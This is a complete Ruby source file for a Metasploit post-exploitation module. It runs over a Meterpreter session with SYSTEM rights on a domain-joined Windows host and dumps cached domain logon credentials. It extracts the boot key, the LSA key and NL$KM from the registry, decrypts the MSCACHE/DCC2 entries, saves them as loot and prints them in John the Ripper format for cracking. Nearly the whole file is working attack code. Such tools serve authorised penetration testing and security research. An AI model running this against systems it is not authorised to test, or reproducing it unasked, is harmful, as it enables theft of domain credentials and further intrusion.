modules/post/windows/gather/cachedump.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'English'
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Registry
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Credential Cache Dump',
'Description' => %q{
This module uses the registry to extract the stored domain hashes that have been
cached as a result of a GPO setting. The default setting on Windows is to store
the last ten successful logins.
},
'License' => MSF_LICENSE,
'Author' => [
'Maurizio Agazzini <inode[at]mediaservice.net>',
'mubix'
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'References' => [['URL', 'http://lab.mediaservice.net/code/cachedump.rb']],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_railgun_api
stdapi_registry_open_key
]
}
}
)
)
end
def check_gpo
gposetting = registry_getvaldata('HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 'CachedLogonsCount')
print_status("Cached Credentials Setting: #{gposetting} - (Max is 50 and 0 disables, and 10 is default)")
end
def capture_nlkm(lsakey)
nlkm = registry_getvaldata('HKLM\\SECURITY\\Policy\\Secrets\\NL$KM\\CurrVal', '')
vprint_status("Encrypted NL$KM: #{nlkm.unpack('H*')[0]}")
if lsa_vista_style?
nlkm_dec = decrypt_lsa_data(nlkm, lsakey)
elsif sysinfo['Architecture'] == ARCH_X64
nlkm_dec = decrypt_secret_data(nlkm[0x10..], lsakey)
else # 32 bits
nlkm_dec = decrypt_secret_data(nlkm[0xC..], lsakey)
end
return nlkm_dec
end
def parse_decrypted_cache(dec_data, s)
i = 0
hash = dec_data[i, 0x10]
i += 72
username = dec_data[i, s.userNameLength].split("\x00\x00").first.gsub("\x00", '')
i += s.userNameLength
i += 2 * ((s.userNameLength / 2) % 2)
vprint_good "Username\t\t: #{username}"
vprint_good "Hash\t\t: #{hash.unpack('H*')[0]}"
if lsa_vista_style?
if (s.iterationCount > 10240)
iterationCount = s.iterationCount & 0xfffffc00
else
iterationCount = s.iterationCount * 1024
end
vprint_good "Iteration count\t: #{s.iterationCount} -> real #{iterationCount}"
end
last = Time.at(s.lastAccess)
vprint_good "Last login\t\t: #{last.strftime('%F %T')} "
domain = dec_data[i, s.domainNameLength + 1]
i += s.domainNameLength
if (s.dnsDomainNameLength != 0)
dnsDomainName = dec_data[i, s.dnsDomainNameLength + 1].split("\x00\x00").first.gsub("\x00", '')
i += s.dnsDomainNameLength
i += 2 * ((s.dnsDomainNameLength / 2) % 2)
vprint_good "DNS Domain Name\t: #{dnsDomainName}"
end
if (s.upnLength != 0)
upn = dec_data[i, s.upnLength + 1].split("\x00\x00").first.gsub("\x00", '')
i += s.upnLength
i += 2 * ((s.upnLength / 2) % 2)
vprint_good "UPN\t\t\t: #{upn}"
end
if (s.effectiveNameLength != 0)
effectiveName = dec_data[i, s.effectiveNameLength + 1].split("\x00\x00").first.gsub("\x00", '')
i += s.effectiveNameLength
i += 2 * ((s.effectiveNameLength / 2) % 2)
vprint_good "Effective Name\t: #{effectiveName}"
end
if (s.fullNameLength != 0)
fullName = dec_data[i, s.fullNameLength + 1].split("\x00\x00").first.gsub("\x00", '')
i += s.fullNameLength
i += 2 * ((s.fullNameLength / 2) % 2)
vprint_good "Full Name\t\t: #{fullName}"
end
if (s.logonScriptLength != 0)
logonScript = dec_data[i, s.logonScriptLength + 1].split("\x00\x00").first.gsub("\x00", '')
i += s.logonScriptLength
i += 2 * ((s.logonScriptLength / 2) % 2)
vprint_good "Logon Script\t\t: #{logonScript}"
end
if (s.profilePathLength != 0)
profilePath = dec_data[i, s.profilePathLength + 1].split("\x00\x00").first.gsub("\x00", '')
i += s.profilePathLength
i += 2 * ((s.profilePathLength / 2) % 2)
vprint_good "Profile Path\t\t: #{profilePath}"
end
if (s.homeDirectoryLength != 0)
homeDirectory = dec_data[i, s.homeDirectoryLength + 1].split("\x00\x00").first.gsub("\x00", '')
i += s.homeDirectoryLength
i += 2 * ((s.homeDirectoryLength / 2) % 2)
vprint_good "Home Directory\t\t: #{homeDirectory}"
end
if (s.homeDirectoryDriveLength != 0)
homeDirectoryDrive = dec_data[i, s.homeDirectoryDriveLength + 1].split("\x00\x00").first.gsub("\x00", '')
i += s.homeDirectoryDriveLength
i += 2 * ((s.homeDirectoryDriveLength / 2) % 2)
vprint_good "Home Directory Drive\t: #{homeDirectoryDrive}"
end
vprint_good "User ID\t\t: #{s.userId}"
vprint_good "Primary Group ID\t: #{s.primaryGroupId}"
relativeId = []
while (s.groupCount > 0)
# TODO: parse attributes
relativeId << dec_data[i, 4].unpack('V')[0]
i += 4
attributes = dec_data[i, 4].unpack('V')[0]
i += 4
s.groupCount -= 1
end
vprint_good "Additional groups\t: #{relativeId.join ' '}"
if (s.logonDomainNameLength != 0)
logonDomainName = dec_data[i, s.logonDomainNameLength + 1].split("\x00\x00").first.gsub("\x00", '')
i += s.logonDomainNameLength
i += 2 * ((s.logonDomainNameLength / 2) % 2)
vprint_good "Logon domain name\t: #{logonDomainName}"
end
@credentials <<
[
username,
hash.unpack('H*')[0],
iterationCount,
logonDomainName,
dnsDomainName,
last.strftime('%F %T'),
upn,
effectiveName,
fullName,
logonScript,
profilePath,
homeDirectory,
homeDirectoryDrive,
s.primaryGroupId,
relativeId.join(' '),
]
vprint_good '----------------------------------------------------------------------'
if lsa_vista_style?
return "#{username.downcase}:$DCC2$#{iterationCount}##{username.downcase}##{hash.unpack('H*')[0]}:#{dnsDomainName}:#{logonDomainName}\n"
else
return "#{username.downcase}:M$#{username.downcase}##{hash.unpack('H*')[0]}:#{dnsDomainName}:#{logonDomainName}\n"
end
end
def parse_cache_entry(cache_data)
j = Struct.new(
:userNameLength,
:domainNameLength,
:effectiveNameLength,
:fullNameLength,
:logonScriptLength,
:profilePathLength,
:homeDirectoryLength,
:homeDirectoryDriveLength,
:userId,
:primaryGroupId,
:groupCount,
:logonDomainNameLength,
:logonDomainIdLength,
:lastAccess,
:last_access_time,
:revision,
:sidCount,
:valid,
:iterationCount,
:sifLength,
:logonPackage,
:dnsDomainNameLength,
:upnLength,
:ch,
:enc_data
)
s = j.new
s.userNameLength = cache_data[0, 2].unpack('v')[0]
s.domainNameLength = cache_data[2, 2].unpack('v')[0]
s.effectiveNameLength = cache_data[4, 2].unpack('v')[0]
s.fullNameLength = cache_data[6, 2].unpack('v')[0]
s.logonScriptLength = cache_data[8, 2].unpack('v')[0]
s.profilePathLength = cache_data[10, 2].unpack('v')[0]
s.homeDirectoryLength = cache_data[12, 2].unpack('v')[0]
s.homeDirectoryDriveLength = cache_data[14, 2].unpack('v')[0]
s.userId = cache_data[16, 4].unpack('V')[0]
s.primaryGroupId = cache_data[20, 4].unpack('V')[0]
s.groupCount = cache_data[24, 4].unpack('V')[0]
s.logonDomainNameLength = cache_data[28, 2].unpack('v')[0]
s.logonDomainIdLength = cache_data[30, 2].unpack('v')[0]
# Removed ("Q") unpack and replaced as such
thi = cache_data[32, 4].unpack('V')[0]
tlo = cache_data[36, 4].unpack('V')[0]
q = (tlo.to_s(16) + thi.to_s(16)).to_i(16)
s.lastAccess = ((q / 10000000) - 11644473600)
s.revision = cache_data[40, 4].unpack('V')[0]
s.sidCount = cache_data[44, 4].unpack('V')[0]
s.valid = cache_data[48, 2].unpack('v')[0]
s.iterationCount = cache_data[50, 2].unpack('v')[0]
s.sifLength = cache_data[52, 4].unpack('V')[0]
s.logonPackage = cache_data[56, 4].unpack('V')[0]
s.dnsDomainNameLength = cache_data[60, 2].unpack('v')[0]
s.upnLength = cache_data[62, 2].unpack('v')[0]
s.ch = cache_data[64, 16]
s.enc_data = cache_data[96..]
return s
end
def decrypt_hash(edata, nlkm, ch)
rc4key = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), nlkm, ch)
rc4 = OpenSSL::Cipher.new('rc4')
rc4.key = rc4key
decrypted = rc4.update(edata)
decrypted << rc4.final
return decrypted
end
def decrypt_hash_vista(edata, nlkm, ch)
aes = OpenSSL::Cipher.new('aes-128-cbc')
aes.decrypt
aes.key = nlkm[16...32]
aes.padding = 0
aes.iv = ch
decrypted = ''
(0...edata.length).step(16) do |i|
decrypted << aes.update(edata[i, 16])
end
return decrypted
end
def run
@credentials = Rex::Text::Table.new(
'Header' => 'MSCACHE Credentials',
'Indent' => 1,
'Columns' =>
[
'Username',
'Hash',
'Hash iteration count',
'Logon Domain Name',
'DNS Domain Name',
'Last Login',
'UPN',
'Effective Name',
'Full Name',
'Logon Script',
'Profile Path',
'Home Directory',
'HomeDir Drive',
'Primary Group',
'Additional Groups'
]
)
begin
print_status("Executing module against #{sysinfo['Computer']}")
client.railgun.netapi32
join_status = client.railgun.netapi32.NetGetJoinInformation(nil, 4, 4)['BufferType']
if sysinfo['Architecture'] == ARCH_X64
join_status &= 0x00000000ffffffff
end
if join_status != 3
print_error('System is not joined to a domain, exiting..')
return
end
# Check policy setting for cached creds
check_gpo
print_status('Obtaining boot key...')
bootkey = capture_boot_key
vprint_status("Boot key: #{bootkey.unpack('H*')[0]}")
print_status('Obtaining Lsa key...')
lsakey = capture_lsa_key(bootkey)
if lsakey.nil?
print_error('Could not retrieve LSA key. Are you SYSTEM?')
return
end
vprint_status("Lsa Key: #{lsakey.unpack('H*')[0]}")
print_status('Obtaining NL$KM...')
nlkm = capture_nlkm(lsakey)
vprint_status("NL$KM: #{nlkm.unpack('H*')[0]}")
print_status('Dumping cached credentials...')
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SECURITY\\Cache', KEY_READ)
john = ''
ok.enum_value.each do |usr|
if !usr.name.match(/^NL\$\d+$/)
next
end
begin
nl = ok.query_value(usr.name.to_s).data
rescue StandardError
next
end
cache = parse_cache_entry(nl)
next unless (cache.userNameLength > 0)
vprint_status("Reg entry: #{nl.unpack('H*')[0]}")
vprint_status("Encrypted data: #{cache.enc_data.unpack('H*')[0]}")
vprint_status("Ch: #{cache.ch.unpack('H*')[0]}")
if lsa_vista_style?
dec_data = decrypt_hash_vista(cache.enc_data, nlkm, cache.ch)
else
dec_data = decrypt_hash(cache.enc_data, nlkm, cache.ch)
end
vprint_status("Decrypted data: #{dec_data.unpack('H*')[0]}")
john << parse_decrypted_cache(dec_data, cache)
end
if lsa_vista_style?
print_status('Hash are in MSCACHE_VISTA format. (mscash2)')
p = store_loot('mscache2.creds', 'text/csv', session, @credentials.to_csv, 'mscache2_credentials.txt', 'MSCACHE v2 Credentials')
print_good("MSCACHE v2 saved in: #{p}")
john = "# mscash2\n" + john
else
print_status('Hash are in MSCACHE format. (mscash)')
p = store_loot('mscache.creds', 'text/csv', session, @credentials.to_csv, 'mscache_credentials.txt', 'MSCACHE v1 Credentials')
print_good("MSCACHE v1 saved in: #{p}")
john = "# mscash\n" + john
end
print_status('John the Ripper format:')
print_line john
rescue ::Interrupt
raise $ERROR_INFO
rescue ::Rex::Post::Meterpreter::RequestError => e
print_error("Meterpreter Exception: #{e.class} #{e}")
print_error('This script requires the use of a SYSTEM user context (hint: migrate into service process)')
end
end
end